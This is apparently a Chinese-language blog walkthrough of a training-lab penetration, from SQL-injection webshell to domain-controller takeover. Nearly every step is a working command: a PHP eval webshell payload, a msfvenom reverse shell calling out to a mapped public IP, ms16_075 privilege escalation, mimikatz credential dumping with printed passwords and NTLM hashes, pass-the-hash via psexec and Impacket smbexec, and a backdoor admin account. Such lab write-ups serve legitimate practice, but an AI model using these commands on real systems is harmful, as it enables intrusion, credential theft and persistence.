前言
- 掌控安全里面的靶場內網滲透,練練手!
內網滲透拿域控
1、進去一看,典型的sql注入
2、測試了一下,可以爆庫,也可以寫一句話,並且還爆了絕對路徑,直接拿shell,進入主題
①將shell.php寫入網站根目錄,payload
http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>" into outfile 'C:/phpstudy/www/shell.php'
②蟻劍連接,發現權限很低
kali機的提權和后滲透方法
提權我們可以傳個木馬用msf試試,獲取按照系統補丁來搜payload提權等等,這里就用最快的方式,msf(注意:,下面講關於kali中msf怎么內網穿透,方法太多了)
kali內網穿透用花生殼
拿到webshell之后,由於這個webshell是在公網的,無法訪問我們內網的kali,所以我們得將kali中的某個端口映射到公網
下載花生殼
1、可以看到kali的內網ip為192.168.0.108
2、接着設置一下花生殼的配置
3、可以看到我們映射到公網的ip和端口
4、接着使用msf制作訪問我們公網ip和端口的后門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe
4、打開msf的監聽
handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run
5、執行webshell中的木馬
sessions 1 //進入會話
6、發現無法不是最高權限,getsystem/getprivs並未成功
7、一般使用最多的是ms16_075的方式提權了,這個成功率高,試試
但是由於我們是內網,所以就必須准備兩個msf窗口才能使用msf的提取功能
①msf窗口1執行監聽命令
②msf窗口2權限低的那個會話執行提權命令
run exploit/windows/local/ms16_075_reflection_juicy lhost=103.46.128.46 lport=26240
③接着監聽的那個msf窗口1就獲得了一個system權限的會話
看路由器命令
route
一般為了防止后門被人關掉,將其注入到其他程序中
ps 查看進程pid
接着用migrate將我們后門注入到1816中,有效防止木馬掛了
migrate 1816
通過shell命令進入命令窗口
內網信息收集
可以通過ifconfig看到內網ip
接着利用后滲透工具ping方法掃一下ip段,接着掃出三個ip存活
info post/multi/gather/ping_sweep //查看所需參數
run post/multi/gather/ping_sweep rhosts=10.0.1.4/24 //掃網段
還有一種方法,arp掃ip段,用法差不多,這個掃的快一些比較推薦
run post/windows/gather/arp_scanner rhosts=10.0.1.4/24
這是利用msf自帶工具掃描,接下來再演示使用nmap掃一下看看
首先添加一個路由如下命令
run get_local_subnets //查看網段
run autoroute -s 10.0.1.0/24
run autoroute -p //查看已添加的路由
background //保存session返回msf
接着開啟socks4a服務,使用msf的輔助模塊
use auxiliary/server/socks_proxy
set VERSION 4a //設置為socks4a
run
接着設置/etc/proxychains.conf 中的內容改為下面展示截圖,kali自帶的代理工具
vim /etc/proxychains.conf
接着我們就可以利用proxychains4來進行連接3389端口,和進行內網ip段掃描,使用nmap掃描其內網ip及其端口等,但是掃的真的慢是我網太卡了么。
proxychains4 nmap -sT -Pn -p 22,80,445,3306,3389 10.0.1.0/24 --open
看到好多445端口,這里其實可以用永恆之藍的
當然,也可以選擇不用nmap掃描端口,我們可以用msf的模塊掃描端口
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.1.6
kali機用kiwi抓取密碼
也可以直接抓取管理員密碼
msf提供一些后滲透的模塊
load -l 來查看有哪些模塊
其實kiwi就是mimikatz就是換了個名在這里,然后加載kiwi
查看當前kiwi的命令用help
help
對10.0.1.4機子進行抓密碼,接着執行下面命令,就可以獲取管理員密碼,這個是對登陸過的賬號和密碼進行抓取
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
獲得密碼
u:administrator
p:woshifengge1.
kali機hash傳遞得到會話
看到445端口就可以嘗試hash傳遞,在不需要密碼的情況下使用,發現10.0.1.6-10.0.1.8可以被利用
hashdump可獲取hash值,得是64位系統權限才可執行
hashdump
或者是
run post/windows/gather/hashdump
或者是
run post/windows/gather/smart_hashdump
以上都可以獲取hash值
background 返回
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1009:aad3b435b51404eeaad3b435b51404ee:77be122bef1c2d43f67721c95114f46b:::
通過網段知道6-8有445可以利用smb的hash傳遞連接10.0.1.8這台機子,因為一般情況幾台機子的密碼都相同。
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
//正向連接
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83 #hashdump獲取的hash值進行
這里發現10.0.1.8這台機子存在域控,dns一般是和域控綁定在一個服務器上的
shell
ipconfig /all
shell查看域的命令
shell中命令使用查看是否存在域的方法
這里明顯A1這台機子處於域中
1、查看域中計算機
net view //查看域中的計算機
net view /domain //查看域
根據ipconfig /all 可以知道域控主機的ip是10.0.1.6
hash傳遞並不能登陸進去
2、查看域中的計算機
就一台A1,這里我們得通過A1去獲得域控
net view /domain:ZKAQ
3、ping計算機名可以得到IP
ping A1
ping zkaq.cn
4、獲得所有域的用戶列表,有一個krbtgt就是域用戶
net user /domain
5、獲取域用戶組信息
net group /domain
6、獲取當前域管理員信息
net group "domain admins" /domain
7、查看域時間及域服務器的名字
net time /domain
通過域的信息收集得到DC.zkaq.cn 10.0.1.6這個就是域控
拓展,導入kiwi的命令使用
1、msv列出NTLM
kiwi_cmd sekurlsa::msv
2、kerberos抓密碼,發現全部加密了
kiwi_cmd sekurlsa::kerberos
3、也可以用creds_all抓取密碼,但也明顯加密
creds_all
Username Domain NTLM
-------- ------ ----
A1$ ZKAQ 3bf63ae494aee3a74fa90a41b9459df9
Administrator ZKAQ 61465a991b168727b65b3644aab823cd
Administrator A1 4d1de63584701c85b8b9eccf5243ef83
Impacket實現域控NTML的hash傳遞
這里發現密碼是無法獲取的,因為NTLM是密文,我們可以使用hash傳遞,不過這里得使用Impacket的包
首先我們要先去GitHub下載源碼,或者直接使用
git clone https://github.com/SecureAuthCorp/impacket.git
然后解壓縮,進入impacket
cd impacket/
然后運行
python setup.py install
工具都在這個目錄里impacket/examples
cd impacket/examples
接着我們使用smbexec.py這個模塊,用上面的ntml值hash傳遞登陸域控機子
proxychains4 python3 smbexec.py -hashes :61465a991b168727b65b3644aab823cd ZKAQ/Administrator@10.0.1.6
成功拿下域控的超級管理員權限
接下來是基礎操作添加超管賬號,然后登陸域控
net user gylq ********** /add #密碼打長的,2008有限制,密碼不能太簡單
net localgroup administrators gylq /add #添加超管
直接代理登陸域控10.0.1.6就報錯,這是域控機的守護機制
需要使用他域內的機子去登陸,我們先登陸10.0.1.8,再登陸域控
遠程3389登陸域控
也可以用直接用抓取的密碼來代理登陸3389的端口等,只是演示一下
如果對方沒有開啟遠程連接,可以使用msf自帶命令啟動
run getgui -e
先登陸10.0.1.4,才發現這個不是域內機子,得去登陸10.0.1.8
proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.4
也可以用代理直接連接10.0.1.8,來進行確定
proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8
接着用10.0.1.8作為跳板登陸10.0.1.6,即域控機子
成功登陸域控
總結:這是kali中使用msf和impacket聯合拿域控
我的個人博客
孤桜懶契:http://gylq.gitee.io